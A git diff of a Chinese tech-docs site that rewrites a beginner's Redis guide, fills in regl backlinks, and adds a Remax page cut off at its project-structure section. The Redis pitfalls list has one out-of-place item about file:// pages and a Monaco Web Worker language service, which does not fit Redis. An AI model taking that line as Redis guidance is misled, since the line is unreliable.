+++ b/src/content/docs/projects/redis.md
@@ -1,206 +1,248 @@
 ---
 title: Redis — 内存键值数据库
-来源: https://github.com/redis/redis
-日期: 2026-05-29
+来源: https://redis.io/docs/latest/
+日期: 2026-06-13
 子分类: 存储与查询
 分类: 数据库
-难度: 中级
-schema_version: legacy-long
-provenance: legacy-migrated
+provenance: pipeline-v3
 ---
 
 ## 是什么
 
-Redis（**Re**mote **Di**ctionary **S**erver）是 Salvatore Sanfilippo 2009 年用 C 写的"内存里的字典"——把所有数据全放 RAM，所以读写都是微秒级；服务器重启时再从硬盘文件恢复。
+**Redis**（**Re**mote **Di**ctionary **S**erver，远程字典服务）是把数据主要放在 **内存（RAM）** 里的键值数据库。官方把它定义为 *in-memory data structure store*：不只是「字符串 → 字符串」，还提供列表、集合、哈希、有序集合等**原生数据结构**，在服务端就能完成计数、排行、队列等操作。
 
 日常类比：
 
-- [[postgresql]] 像图书馆按编号查书——慢但精确，断电也不丢
-- Redis 像桌上一摞便签——伸手即查、即写即改，下班前抄一份带回家备份
+- **PostgreSQL** 像图书馆的密集架——按编号精确找书，书永久上架，查一本要走书架（磁盘 I/O），稳但慢。
+- **Redis** 像办公桌上一摞**彩色便利贴**——伸手就能改、就能读，速度是微秒级；下班前把便签**复印一份**锁进抽屉（RDB/AOF 持久化），第二天还能恢复，但抽屉里的副本总比桌面晚半拍。
 
-你写：
+最小交互长这样：
 
+```bash
+redis-cli SET user:1 "Alice"
+redis-cli GET user:1
+# → "Alice"
 ```
-SET user:1 "Alice"
-GET user:1
-```
 
-服务端返回 `"Alice"`，整个往返通常在 0.1 毫秒内完成。Redis 快不是算法神奇，而是**根本没去碰硬盘**。
+一次往返通常在亚毫秒级。快的原因很朴素：**热数据在内存里**，不必每次读盘。
+
+Redis 由 Salvatore Sanfilippo（antirez）于 2009 年用 C 语言编写，MIT 协议开源；GitHub 仓库 [redis/redis](https://github.com/redis/redis) 仍是核心实现。2024 年起上游许可证曾调整为 SSPL，社区 fork 出 [[valkey]] 延续 BSD 路线——选型时要留意「Redis Inc. 发行版」与「Valkey」的治理差异。
 
 ## 为什么重要
 
-不理解 Redis，下面这些场景都没法解释：
+零基础学后端或做全栈，几乎绕不开 Redis，因为：
+
+- **缓存**：把读多写少的数据挡在 [[postgresql]]、[[mysql]] 前面，减轻数据库压力（GitHub、Twitter、Stack Overflow 等大量站点都这样用）
+- **会话 / 限流 / 计数**：`INCR` 原子自增 + `EXPIRE` 过期，几行命令就能做 API 限流、点赞数、验证码尝试次数
+- **排行榜与延时队列**：有序集合（sorted set）和列表（list）是游戏榜单、任务队列的标配
+- **实时能力**：Pub/Sub、Stream 可做通知、简单消息流，不必一上来就上 [[kafka]]
+- **理解「单线程也能高 QPS」**：和 nginx、Node.js 事件循环同属一类工程直觉——少锁、少切换、把热路径写短
+
+## 核心概念
+
+### 1. Key–Value 与命名空间
+
+一切皆 **key**。key 是字符串（二进制安全），value 的类型由你创建时决定。习惯用冒号分层，例如 `user:1001:profile`，便于 `SCAN` 按前缀浏览，也避免不同业务撞名。
+
+每个 key 可单独设置 **TTL**（存活时间），到期自动删除——缓存场景的核心机制。
+
+### 2. 五种经典数据结构（再加扩展）
+
+| 类型 | 类比 | 典型命令 | 常见用途 |
+|------|------|----------|----------|
+| **String** | 一张便签上的整段字 | `SET` `GET` `INCR` | 缓存 HTML/JSON、计数器、分布式锁 |
+| **Hash** | 便签上的「字段:值」表 | `HSET` `HGET` `HGETALL` | 用户资料、购物车一行对象 |
+| **List** | 双向排队绳 | `LPUSH` `RPOP` `LRANGE` | 消息队列、最新 N 条动态 |
+| **Set** | 不重复名单袋 | `SADD` `SISMEMBER` `SINTER` | 标签、共同好友、去重 |
+| **Sorted Set** | 带分数的排名榜 | `ZADD` `ZRANGE` `ZREVRANK` | 排行榜、延时任务（按时间戳打分） |
+
+新版 Redis 还提供 **JSON**、**Stream**、**Time Series**、**Probabilistic**（HyperLogLog、Bloom 等）类型；零基础先把上表五种练熟即可覆盖大部分面试与业务题。
+
+### 3. 单线程命令执行 + 事件循环
+
+Redis 处理命令的**主路径**长期是单线程：一个 `ae` 事件循环（Linux 上基于 epoll）同时盯很多客户端连接，谁有数据可读就解析 RESP 协议、执行命令、写回结果。好处是**不需要给共享数据结构加锁**，实现简单、延迟稳定。
+
+注意区分：
+
+- **命令执行**：默认仍在主线程串行（保证原子语义简单）
+- **持久化 fsync、惰性删除大 key、6.0+ 的 I/O 线程**：可在后台线程或子进程做，避免拖死主循环
+
+因此：**一条很慢的命令**（如对巨大 hash 做 `HGETALL`）会阻塞同一实例上的其他请求——这是架构约束，不是 bug。
+
+### 4. 持久化：RDB 与 AOF
+
+内存再快，重启也会空。Redis 用两种方式把数据落到磁盘：
+
+| 方式 | 做法 | 优点 | 缺点 |
+|------|------|------|------|
+| **RDB** | 间隔拍快照（`dump.rdb`） | 文件紧凑、恢复快 | 两次快照之间可能丢数据 |
+| **AOF** | 追加每条写命令日志 | 可配置为每秒或每次 `fsync`，更耐丢 | 文件大、重写时占 CPU |
+
+生产常见 **两者都开**；Redis 7+ 的 AOF 还可带 **RDB 前缀**（hybrid），兼顾加载速度与增量日志。重启时若两者都在，通常 **优先用更完整的 AOF** 恢复。
+
+### 5. 过期与淘汰
+
+- `EXPIRE key seconds` / `SET key value EX 3600`：key 级 TTL
+- 内存达到 `maxmemory` 时按 **maxmemory-policy** 淘汰（如 `allkeys-lru`）
 
-- 为什么 GitHub / Twitter / Stack Overflow / Pinterest 这些大流量站，几乎都把 Redis 放在数据库前面挡读请求
-- 为什么 5 种数据结构（string / hash / list / set / sorted set）能覆盖 90% 的缓存、计数、排行、消息场景
-- 为什么 Pub/Sub + Stream 让"消息队列"这件事可以不用 Kafka 也能跑
-- 为什么 Lua 脚本能在 Redis 内部"原子执行"——多步操作之间没人插得进来
+默认 `noeviction` 会在写满时**拒绝写入**——很多线上故障来自没改这项。
 
-## 核心要点
+### 6. 集群与高可用（知道名词即可）
 
-Redis 之所以是 Redis，靠 **三个核心设计**：
+- **主从复制**：读扩展、故障切换基础
+- **Redis Sentinel**：监控主节点、自动故障转移
+- **Redis Cluster**：16384 个 hash slot 分片，key 按 slot 落到不同节点；**跨 slot 的多 key 事务受限**
 
-1. **单线程事件循环**：一个进程一根线程处理所有请求。听起来弱，实际超强——没有锁竞争、没有上下文切换；用 epoll（Linux）一次性盯上百万连接，每次只挑就绪的处理。
+零基础本地开发先用**单实例**；分片与 Sentinel 在流量上来后再学。
 
-2. **持久化双轨制**：
-   - **RDB**：按时间间隔拍一张内存快照，写到 `dump.rdb`；恢复快、文件小，但两次快照之间宕机会丢数据
-   - **AOF**：把每条写命令追加到日志文件；恢复慢、文件大，但能精确到秒级甚至每条
-   - 生产通常两个都开
+## 快速上手
 
-3. **集群分片**：Redis Cluster 把 key 哈希到 **16384 个 slot**，slot 分配给不同节点。客户端算完 hash 直接连对应节点，没有中间代理。
+### 安装与启动
 
-## 实践案例
+```bash
+# macOS
+brew install redis
+brew services start redis
 
-### 案例 1：缓存（最经典用法）
+# 或 Docker（适合本机多版本共存）
+docker run -d --name redis -p 6379:6379 redis:7-alpine
 
+# 进入命令行
+redis-cli ping
+# → PONG
 ```
-SET user:1 "{name: Alice, age: 30}"
-EXPIRE user:1 3600
-GET user:1
+
+默认监听 `6379`，无密码（生产必须设 `requirepass` 和网络隔离）。
+
+## 代码示例
+
+### 示例 1：Cache-Aside 缓存用户资料
+
+应用读路径：**先 Redis，未命中再查库，回写并设过期**。这是最常见的缓存模式。
+
+```bash
+# 模拟：库中查到的 JSON（实际由应用写入）
+SET user:42 '{"name":"Bob","plan":"pro"}' EX 3600
+
+GET user:42
+# 命中则直接返回，省一次 SQL
+
+# 更新用户时：先写库，再删缓存（或 SET 新值），避免脏读
+DEL user:42
 ```
 
-应用先查 Redis，命中就返回；没命中再查关系库，结果回填 Redis。这套模式叫 **cache-aside**，几乎是行业默认。`EXPIRE` 让 key 一小时后自动消失，避免缓存堆积。
+对应 Node.js 伪代码逻辑：
 
-### 案例 2：排行榜（sorted set 的招牌场景）
+```javascript
+async function getUser(id) {
+  const key = `user:${id}`;
+  const cached = await redis.get(key);
+  if (cached) return JSON.parse(cached);
 
+  const row = await db.query('SELECT * FROM users WHERE id = $1', [id]);
+  await redis.set(key, JSON.stringify(row), 'EX', 3600);
+  return row;
+}
 ```
-ZADD leaderboard 100 alice
-ZADD leaderboard 200 bob
-ZADD leaderboard 150 carol
+
+要点：`EX 3600` 防止冷数据永久占内存；更新策略要和团队约定一致（删 key vs 更新 key）。
+
+### 示例 2：排行榜（Sorted Set）
+
+游戏或电商秒杀常用 **ZSET**：成员唯一，按 **score** 排序；底层跳跃表 + 哈希，插入与按名次查询约 **O(log N)**。
+
+```bash
+ZADD leaderboard 9850 "alice"
+ZADD leaderboard 12000 "bob"
+ZADD leaderboard 10300 "carol"
+
+# 分数从高到低，取前 10 名并带上分数
 ZREVRANGE leaderboard 0 9 WITHSCORES
+
+# 查某用户名次（0 表示第一名）
+ZREVRANK leaderboard "carol"
 ```
 
-sorted set 内部是 skiplist + hash，插入和查询都是 O(log N)；游戏、电商秒杀榜单都用它。最后那行 `ZREVRANGE` 拿前 10 名，`WITHSCORES` 把分数和名字一起带回。
+若要「每周榜」与「总榜」并存，用不同 key 即可，例如 `leaderboard:2026-W24` 与 `leaderboard:all`。
 
-### 案例 3：分布式锁
+### 示例 3：简单分布式锁（单实例）
 
-```
-SET lock:order123 "uuid-abc" NX EX 10
+多实例部署时，可用 **SET NX EX** 做互斥（更强一致需 Redlock 或 [[etcd]] 等）：
+
+```bash
+# 仅当 key 不存在时设置，10 秒后自动释放，value 用唯一 token
+SET lock:order:8817 "uuid-7f3a" NX EX 10
+
+# 业务完成后，用 Lua 校验 token 再删，避免删掉别人的锁
 ```
 
-- `NX` = 只在 key 不存在时才设
-- `EX 10` = 10 秒后自动过期（防止持锁进程崩了死锁）
-- value 写一个唯一 uuid，释放时校验自己才删，避免删到别人的锁
+`NX` = not exists；`EX` = 秒级 TTL，防止进程崩溃导致死锁。
 
-这是单实例最简单的方案；强一致场景要看 Redlock 或 etcd / zookeeper。
+### 示例 4：用 Hash 存对象字段
 
-## 踩过的坑
+比把整个对象塞进一个 JSON 字符串更省内存的场景，是 **Hash**（字段数不多时）：
 
-1. **大 key 阻塞单线程**：一个 hash 几十万字段，`HGETALL` 一下整个进程被它独占几百毫秒，所有请求排队。教训：拆分大 key、用 `HSCAN` 流式读。
+```bash
+HSET bike:1 model "Deimos" brand "Ergonom" price 4972
+HGET bike:1 model
+# → "Deimos"
+HGETALL bike:1
+```
 
-2. **OOM 后内存策略选错**：`maxmemory-policy` 默认 `noeviction`——写满直接拒绝写入，应用全报错。生产几乎必改成 `allkeys-lru`（最近最少用淘汰）或 `volatile-lru`。
+官方教程 [Redis as a data store](https://redis.io/docs/latest/develop/get-started/data-store/) 用自行车库存演示这套 API，适合跟着敲一遍。
 
-3. **集群跨 slot 事务做不了**：Redis Cluster 下，`MULTI / EXEC` 里的 key 必须落在同一个 slot。要让两个 key 同 slot，得用 hashtag：`{user1}:profile` 和 `{user1}:orders` 都按 `user1` 算 hash。
+## 适用与不适用
 
-4. **许可证改了**：Redis 7.4 起改成 SSPL（不再 OSI 认证开源）。Linux 基金会 2024 年 fork 出 [[valkey]] 接续 BSD 路线，AWS / Google / Oracle 都加入了。生产选型现在多一道题：用 Redis Inc. 还是 Valkey。
+**适合：**
 
-## 适用 vs 不适用场景
+- 读多写少的缓存、会话存储、验证码、限流计数
+- 排行榜、简单队列、去重集合、实时在线用户集合
+- 需要亚毫秒级读写的热数据（配合过期与容量规划）
 
-**适用**：
+**不适合：**
 
-- 缓存层（cache-aside / read-through / write-back）
-- 计数器、限流（`INCR` 原子自增 + `EXPIRE` 滑动窗口）
-- 排行榜（sorted set）/ 简单消息队列（list / Stream）/ 分布式锁、会话存储、临时去重（set）
+- **唯一主库**：内存贵，持久化语义弱于关系库；冷数据应落盘到 PostgreSQL 等
+- **复杂查询 / JOIN / 报表**：没有 SQL；分析型 workload 看 [[clickhouse]] 或数仓
+- **强一致金融账务**：单实例故障切换仍可能丢最后一秒写入，需业务层补偿或换专用方案
+- **超大 value**：单 key 最大约 512MB，且大 key 会阻塞单线程——应拆分或用 `HSCAN` 流式读
 
-**不适用**：
+## 常见坑（零基础避雷）
 
-- 主数据存储——内存贵，且持久化不如关系数据库强
-- 复杂查询、JOIN——没有 SQL，Redis 是 KV 模型
-- 海量冷数据——内存装不下，强行装也很贵
-- 强事务一致性（金融转账）——AOF 能恢复，但故障切换时仍可能丢秒级数据
+1. **把 Redis 当唯一数据源**：宕机 + 持久化间隙 = 丢数据；它是加速层，不是档案柜。
+2. **缓存穿透 / 击穿 / 雪崩**：穿透用布隆过滤器或空值缓存；击穿用互斥重建；雪崩用随机 TTL、分批过期。
+3. **大 key 与热 key**：`KEYS *` 在生产禁用，用 `SCAN`；热 key 用本地缓存或多副本分散。
+4. **集群里跨 slot 事务**：`MULTI` 里的 key 必须落在同一 slot；可用 `{user1}:profile` 与 `{user1}:orders` 的 **hash tag** 强制同 slot。
+5. **本地 `file://` 打开页面**：浏览器里跑 Redis 客户端连不上 Web Worker 语言服务；和 Monaco 一样要用 `http://` 服务。
+6. **许可证与发行版**：关注 Redis SSPL 与 Valkey fork，合规与长期维护策略要纳入选型。
 
-## 历史小故事（可跳过）
+## 与周边项目的关系
 
-- **2009 年**：意大利人 antirez（Salvatore Sanfilippo）做实时分析工具时嫌 MySQL 慢，自己用 C 写了 Redis 第一版
-- **2010 年**：VMware 看上他，把他雇下来全职维护
-- **2015 年**：Redis Labs（现 Redis Inc.）成立，商业化路线启动
-- **2020 年**：antirez 宣布退出核心维护
-- **2024 年 3 月**：Redis Inc. 把许可证改成 SSPL（不再算 OSI 开源），Linux 基金会接手社区诉求，fork 出 Valkey 继续 BSD 路线
+- [[postgresql]] / [[mysql]]：Redis 常坐在前面做缓存，关系库做权威数据
+- [[memcached]]：更单纯的字符串缓存，无持久化、无丰富结构；要数据结构选 Redis
+- [[bullmq]] / [[sidekiq]] / [[celery]]：后台任务队列常把 Redis 当 broker
+- [[dragonfly]]：多线程、Redis 协议兼容的替代实现，高核数机器上可对比测试
+- [[valkey]]：社区 BSD fork，API 高度兼容
 
-## 学到什么
+## 学习路径建议
 
-- **简单 + 单线程**也能扛百万 QPS——架构常被高估、实现质量常被低估
-- **数据结构**不是大学课题，是产品差异——5 种结构让 Redis 在缓存外又吃下队列、排行、限流
-- **持久化是工程权衡 + 开源不是终点**——RDB 快但糙、AOF 慢但准生产同时开；许可证可以变、社区可以 fork，技术栈选型要把"治理"算进去
+1. 本地 `redis-cli` 把五种结构各练 10 条命令（官方 [命令参考](https://redis.io/docs/latest/commands/)）
+2. 读 [Data types 概览](https://redis.io/docs/latest/develop/data-types/)，理解「按访问模式选型」
+3. 在真实项目里实现一个 **带 TTL 的 cache-aside**，观察命中率和内存
+4. 读 [Persistence](https://redis.io/docs/latest/operate/oss_and_stack/management/persistence/)，弄清 RDB/AOF/`appendfsync` 与你能接受丢多少数据
+5. 有余力再看复制、Sentinel、Cluster 文档与 `redis.conf` 注释
 
-## 延伸阅读
+## 小结
+
+Redis 的核心不是「又一个数据库」，而是：**在内存里用合适的数据结构，以单线程语义简单的方式，极快地完成一小类高频操作**。记住三句话就够入门：
 
-- 官方教程：[redis.io/learn](https://redis.io/learn/)
-- 源码精读起点：`server.c` 里的 `aeMain()`（事件循环主函数，约 80 行能看懂大局）
-- antirez 个人博客：[antirez.com](http://antirez.com/)（设计哲学和复盘文章很值得读）
-- 持久化原理：官方文档 `topics/persistence`（RDB / AOF 的 fsync 时机权衡）
-
-## 关联
-
-- [[postgresql]] —— Redis 通常坐在 PostgreSQL 前面挡读流量，一个稳一个快
-- [[valkey]] —— 2024 年 fork 出来的 BSD 版 Redis
-
-## 反向链接
-
-<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
-
-- [[appwrite]] —— Appwrite — 自己能装一遍的开源 Firebase
-- [[arangodb]] —— ArangoDB — 文档+图+KV 三合一的多模型数据库
-- [[asynq]] —— Asynq — Go 版 Sidekiq，把后台任务丢进 Redis 慢慢跑
-- [[bullmq]] —— BullMQ — Node.js 上的 Redis 任务队列
-- [[celery]] —— Celery — Python 把慢任务搬到后台干的工头
-- [[centrifugo]] —— Centrifugo — Go 写的开源实时消息服务器
-- [[chatwoot]] —— chatwoot — 把 11 种外部聊天渠道归一到同一张消息表
-- [[clickhouse]] —— ClickHouse — 列式 OLAP 数据库
-- [[couchdb]] —— Apache CouchDB — Erlang 写的文档数据库
-- [[cvat]] —— CVAT — 视频帧标注与半自动追踪的开源王者
-- [[docker]] —— Docker — 容器化平台
-- [[dovecot]] —— Dovecot — 主流 IMAP/POP3 服务器
-- [[dragonfly]] —— Dragonfly — 多线程 Redis 替代
-- [[elasticsearch]] —— Elasticsearch — 分布式搜索引擎
-- [[emqx]] —— EMQX — 单集群千万连接的 MQTT 物联网消息总线
-- [[etcd]] —— etcd — 分布式键值数据库
-- [[fastapi]] —— FastAPI — 用 Python 类型注解写 API
-- [[feast]] —— Feast — 让训练和上线用同一份特征定义的开源 Feature Store
-- [[ferretdb]] —— FerretDB — 用 PostgreSQL 当后端的开源 MongoDB 协议代理
-- [[flask]] —— Flask — 用装饰器把 URL 接到函数上的 Python 微框架
-- [[gin]] —— Gin — Go 写 web API 的事实标准框架
-- [[go-zero]] —— go-zero — 一份契约文件生成整套 Go 微服务
-- [[haproxy]] —— HAProxy — 高性能 LB，TCP/HTTP 双层负载均衡
-- [[immich]] —— Immich — 把家庭照片从别人的云里救回自己机器
-- [[inngest]] —— Inngest — 让 async 函数自动从断点恢复的工作流引擎
-- [[kafka]] —— Apache Kafka — 分布式流处理平台
-- [[kong]] —— Kong — 基于 nginx + Lua 的云原生 API 网关
-- [[langchain]] —— LangChain — LLM 应用开发框架
-- [[laravel]] —— Laravel — 现代 PHP 全栈框架，Eloquent + Blade + Artisan 三件套
-- [[librechat]] —— LibreChat — 让一份聊天 UI 同时连 OpenAI / Anthropic / Google / 本地模型，对话留在自己的服务器
-- [[lmdb]] —— LMDB — 闪电内存映射嵌入式 KV 库
-- [[memcached]] —— Memcached — 经典内存缓存
-- [[memgraph]] —— Memgraph — 内存图数据库
-- [[minio]] —— MinIO — S3 兼容对象存储
-- [[mongo]] —— MongoDB — 文档数据库服务端开源实现
-- [[mongodb]] —— MongoDB — 文档型 NoSQL 数据库
-- [[mysql]] —— MySQL — 全球最流行关系数据库
-- [[nats]] —— NATS — 极简云原生消息系统
-- [[nats-server]] —— NATS Server — 极简云原生消息中间件
-- [[nebula]] —— NebulaGraph — 国产分布式图数据库
-- [[neo4j]] —— Neo4j — 主流图数据库
-- [[nginx]] —— nginx — 高性能 Web 服务器
-- [[nsq]] —— NSQ — Go 写的去中心化消息队列
-- [[penpot]] —— Penpot — 开源自托管的 Figma 替代
-- [[postfix]] —— Postfix — 把 sendmail 拆成一群最小权限的小工
-- [[postgres-js]] —— postgres.js — 写 SQL 但语法层就防注入的 Node 客户端
-- [[postgresql]] —— PostgreSQL — 工业级关系数据库
-- [[prom-client]] —— prom-client — Node 服务暴露监控指标的事实标准 SDK
-- [[pulsar]] —— Apache Pulsar — 云原生消息队列
-- [[rabbitmq-server]] —— RabbitMQ — 用 Erlang 写的多协议消息总线
-- [[rails]] —— Ruby on Rails — 约定大于配置的全栈 Web 框架教科书
-- [[sidekiq]] —— Sidekiq — Ruby 后台任务的事实标准
-- [[signal-server]] —— Signal-Server — 服务端看不到任何明文的即时通信后端
-- [[skip-list-1990]] —— Skip List — 用抛硬币代替平衡树
-- [[socket-io]] —— Socket.IO — 让浏览器和 Node.js 像打电话一样互相喊事件
-- [[soketi]] —— Soketi — 自己跑一台 Pusher，把实时通信费砍到零头
-- [[surrealdb]] —— SurrealDB — 一种语法吃下 SQL 图 文档 向量
-- [[synapse]] —— Synapse — Matrix 协议的参考 homeserver，让聊天像电邮一样能跨服务器互通
-- [[timescaledb]] —— TimescaleDB — PostgreSQL 时序扩展
-- [[token-bucket-stripe]] —— Stripe Rate Limiters — 工业级令牌桶长什么样
-- [[tyk]] —— tyk — Go 实现的开源 API 网关，自带门户和多协议转换
-- [[typesense]] —— Typesense — 高性能搜索引擎
-- [[unstorage]] —— unstorage — 让 KV 存储不绑死运行时的统一抽象层
-- [[valkey]] —— Valkey — Redis 7.4 的开源 fork
+- **Model 在内存，key 要会起名、会过期**
+- **String/Hash/List/Set/ZSet 按场景选，别全当字符串硬塞**
+- **它是缓存与加速层，持久化与集群是为了少丢数据、撑规模，不能替代关系库**
+
+## 延伸阅读
 
+- 官方入门：[redis.io/learn](https://redis.io/learn/)
+- 数据结构对比决策树：[Compare data types](https://redis.io/docs/latest/develop/data-types/compare-data-types/)
+- 事件库 internals：[Event library](https://redis.io/docs/latest/operate/oss_and_stack/reference/internals/internals-rediseventlib/)
+- antirez 博客：[antirez.com](http://antirez.com/)（设计复盘可读性很高）
+- 源码入口：`server.c` 中的 `main()` → `aeMain()` 理解事件循环主循环
diff --git a/src/content/docs/projects/regl.md b/src/content/docs/projects/regl.md
index dd24f259f..b6134c30c 100644
--- a/src/content/docs/projects/regl.md
+++ b/src/content/docs/projects/regl.md
@@ -222,5 +222,9 @@ regl.frame(() => {
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
-（暂无反向链接）
+- [[d3]] —— D3.js — 不是图表库，是写图表库的乐高
+- [[glslify]] —— glslify — Browserify 风格 GLSL 模块
+- [[luma-gl]] —— luma.gl — vis.gl WebGL2/WebGPU 抽象
+- [[observable-plot]] —— Observable Plot — 你说想看哪两列的关系，库自己画图
+- [[picogl]] —— PicoGL.js — 极简 WebGL2 包装
 
diff --git a/src/content/docs/projects/remax.md b/src/content/docs/projects/remax.md
new file mode 100644
index 000000000..dea4687f7
--- /dev/null
+++ b/src/content/docs/projects/remax.md
@@ -0,0 +1,272 @@
+---
+title: Remax — 用真正的 React 构建跨平台小程序
+来源: https://github.com/remaxjs/remax
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Remax 是蚂蚁集团（阿里巴巴）开源的**小程序 React 运行时**方案：你写标准 React 组件、Hooks、Context，Remax 在小程序的逻辑层里跑起真正的 React reconciler，再把虚拟 DOM 变成小程序能消费的 JSON 树，通过 `setData` 驱动各端原生视图。日常类比：
+
+> 微信小程序像一座**只允许方言广播的城市**——官方视图层只认 `view`/`text` 和模板语法，逻辑层又不能直接摸 DOM。
+> Remax 在城市里建了一个**同声传译电台**：你在电台里照常用普通话（React/JSX）主持节目，电台内部把每一句话整理成「广播稿」（VNode JSON），市政喇叭（`setData` + 预生成模板）按稿向街头大屏播报。
+
+它和「把 JSX 编译成 WXML 字符串」的**编译时**方案（早期 Taro 1、mpvue）不同：Remax 走**运行时渲染器**，官方 slogan 是 *Learn once, write anywhere*，自称「针对小程序的 React Native」——上层几乎没有 React 语法限制，Hooks 可用。
+
+```bash
+# 创建项目（Node.js >= 12）
+npx create-remax-app my-app
+cd my-app && npm install
+
+# 单端开发
+npm run dev
+
+# 跨平台项目指定端，例如微信
+npm run dev wechat
+```
+
+> **现状提示**：GitHub 仓库 `remaxjs/remax` 已标记为 **Archived**（最后活跃约 2024 年初）。学习 Remax 仍有价值——它清晰展示了 `react-reconciler` 自定义渲染器、VNode 桥接 `setData` 的经典范式；新项目选型请对照 Taro 3+、uni-app 等仍在维护的方案。
+
+## 为什么重要
+
+不理解 Remax，读「React 跑在小程序里」类文章容易和 Taro、kbone 混为一谈：
+
+- **运行时 vs 编译时**：Remax 不限制 JSX 动态能力（map 渲染、条件组件、第三方 React 库），因为 reconciliation 在运行时完成；编译时转译往往要遵守额外语法约束
+- **与 kbone 的差异**：kbone 在逻辑层**仿造 DOM/BOM**，任何框架都能挂上去；Remax 只实现了一套 **React 专用 HostConfig**，更轻、更贴 React 生态，但不支持 Vue
+- **与 Taro 3 的相似点**：二者都是「真 React + 自定义渲染器 + 各端组件映射」；Taro 持续维护且覆盖 H5/RN，Remax 更专注小程序、工程更轻，历史上有支付宝/淘宝内部实践
+- **读懂架构的迁移价值**：掌握 VNode → Page `data` → 递归模板 这条链路，有助于理解所有「setData 驱动 UI」的小程序框架性能瓶颈
+
+## 核心概念
+
+Remax 工程分为 **`remax`（运行时）** 与 **`remax-cli`（构建）** 两部分。心智模型可拆成六块：
+
+### 1. react-reconciler 自定义渲染器
+
+Remax 在小程序 Worker 线程里注册 React 的 reconciler。开发者写的组件经 reconciliation 后，不直接操作 DOM，而是更新一棵 **VNode 树**（带 `id`、`type`、`props`、`children` 的 JSON 友好结构）。类比：React 以为自己在改 DOM，实际改的是后台的「广播稿」。
+
+### 2. VNode → setData → 视图
+
+更新完成后，根容器调用 `applyUpdate`，把 VNode 序列化后通过小程序原生 **`setData`** 写入 Page 的 `data`（常见根字段为 `root`）。渲染层不靠手写 WXML，而靠 **构建期生成的通用模板**：按 `item.type` 选择 `REMAX_TPL_view`、`REMAX_TPL_text` 等模板递归展开子节点。微信模板不支持真递归，因此会为微信生成约 **20 层**嵌套模板调用——这是平台限制下的工程折中。
+
+### 3. 平台包：`remax/wechat`、`remax/ali`、`remax/toutiao`
+
+组件与 API 按端分包导入，避免把微信专用能力打进支付宝包：
+
+| 导入路径 | 用途 |
+|----------|------|
+| `remax/wechat` | 微信 / QQ 小程序 `View`、`navigateTo`、`request` 等 |
+| `remax/ali` | 支付宝、钉钉、淘宝等阿里系 |
+| `remax/toutiao` | 字节跳动小程序 |
+| `remax` | 跨端 Hooks（如 `usePageEvent`）与运行时工具 |
+
+事件名贴近小程序习惯：微信侧常用 `onTap`，阿里侧常用 `onClick`，写多端时要读各端文档或做封装层。
+
+### 4. 应用与页面都是 React 组件
+
+- **`src/app.js`**：默认导出的 `App` 组件；必须 `render` 出 `props.children`；可用 `componentDidMount`（对应 `onLaunch`）、`onShow` 等应用生命周期
+- **`src/app.config.js`**：对应原生 `app.json`（`pages`、`window` 等）；多端时可 `module.exports = { wechat: {...}, ali: {...} }`
+- **页面**：`src/pages/foo/index.js` 默认导出页面组件；配置在同级 `index.config.js`
+- **页面参数**：通过 `props.location.query` 传入（函数组件），等价于小程序 `onLoad` 的 query
+
+官方建议用 **React Context** 做全局状态，而不是小程序的 `getApp()`——Remax 的 `App` 实例与原生 `getApp` 不是同一对象。
+
+### 5. 生命周期 Hooks
+
+函数组件可用：
+
+- `usePageEvent('onShow', fn)` / `usePageEvent('onLoad', fn)` — 页面级；**子组件里也能注册**（与 class 仅限页面不同）
+- `useAppEvent('onLaunch', fn)` — 应用级
+- `useShow(fn)` — 简化版页面 `onShow`
+
+类组件页面则直接在 class 上定义 `onShow`、`componentDidMount`（触发时机对齐 `onLoad`）。
+
+### 6. 编译链：页面入口与资源生成
+
+`remax-cli` 在 Webpack 构建中：
+
+1. 为每个页面注入 `createPageConfig`，把 React 组件挂到自定义 `Container`
+2. 调用原生 `Page()` 注册小程序页面
+3. 插件生成对应 `wxml`/`axml`、样式与 `usingComponents` 依赖图
+4. 普通 React 组件可编译为**小程序自定义组件**
+
+## 示例一：应用入口 + 首页（支付宝端）
+
+```jsx
+// src/app.js
+import * as React from 'react';
+import { useAppEvent } from 'remax';
+import './app.css';
+
+export default function App({ children }) {
+  useAppEvent('onLaunch', () => {
+    console.log('Remax app launched');
+  });
+
+  return children;
+}
+```
+
+```js
+// src/app.config.js
+module.exports = {
+  pages: ['pages/index/index'],
+  window: {
+    defaultTitle: 'Remax Demo',
+  },
+};
+```
+
+```jsx
+// src/pages/index/index.js
+import * as React from 'react';
+import { View, Text, Button, navigateTo } from 'remax/ali';
+import { usePageEvent } from 'remax';
+import './index.css';
+
+export default function IndexPage(props) {
+  const [count, setCount] = React.useState(0);
+
+  usePageEvent('onShow', () => {
+    console.log('index onShow', props.location?.query);
+  });
+
+  return (
+    <View className="wrap">
+      <Text className="title">你好，Remax</Text>
+      <Text>计数：{count}</Text>
+      <Button onClick={() => setCount((c) => c + 1)}>+1</Button>
+      <Button
+        onClick={() =>
+          navigateTo({ url: '/pages/detail/index?id=42' })
+        }
+      >
+        去详情
+      </Button>
+    </View>
+  );
+}
+```
+
+要点：`App` 只包一层 `children`；页面即普通函数组件；`useState` 与 Web React 相同；导航走 `remax/ali` 的 `navigateTo`；样式用独立 `.css` 文件按页引入。
+
+## 示例二：微信端列表请求 + 下拉刷新
+
+```js
+// src/pages/list/index.config.js
+module.exports = {
+  navigationBarTitleText: '商品列表',
+  enablePullDownRefresh: true,
+};
+```
+
+```jsx
+// src/pages/list/index.js
+import * as React from 'react';
+import { View, Text, Image, request, stopPullDownRefresh } from 'remax/wechat';
+import { usePageEvent } from 'remax';
+
+export default function ListPage() {
+  const [items, setItems] = React.useState([]);
+  const [loading, setLoading] = React.useState(false);
+
+  const load = React.useCallback(async () => {
+    setLoading(true);
+    try {
+      const res = await request({
+        url: 'https://api.example.com/items',
+        method: 'GET',
+      });
+      setItems(res.data?.list ?? []);
+    } finally {
+      setLoading(false);
+      stopPullDownRefresh();
+    }
+  }, []);
+
+  usePageEvent('onLoad', load);
+  usePageEvent('onPullDownRefresh', load);
+
+  return (
+    <View className="list">
+      {items.map((item) => (
+        <View key={item.id} className="card">
+          <Image src={item.cover} mode="aspectFill" />
+          <Text>{item.title}</Text>
+        </View>
+      ))}
+      {loading && <Text>加载中…</Text>}
+    </View>
+  );
+}
+```
+
+`remax/wechat` 导出的 API 多数已 **Promise 化**（`request().then(...)`），与微信回调风格并存；页面配置写在 `index.config.js`，构建时生成 `index.json`。
+
+## 项目结构
+
+```
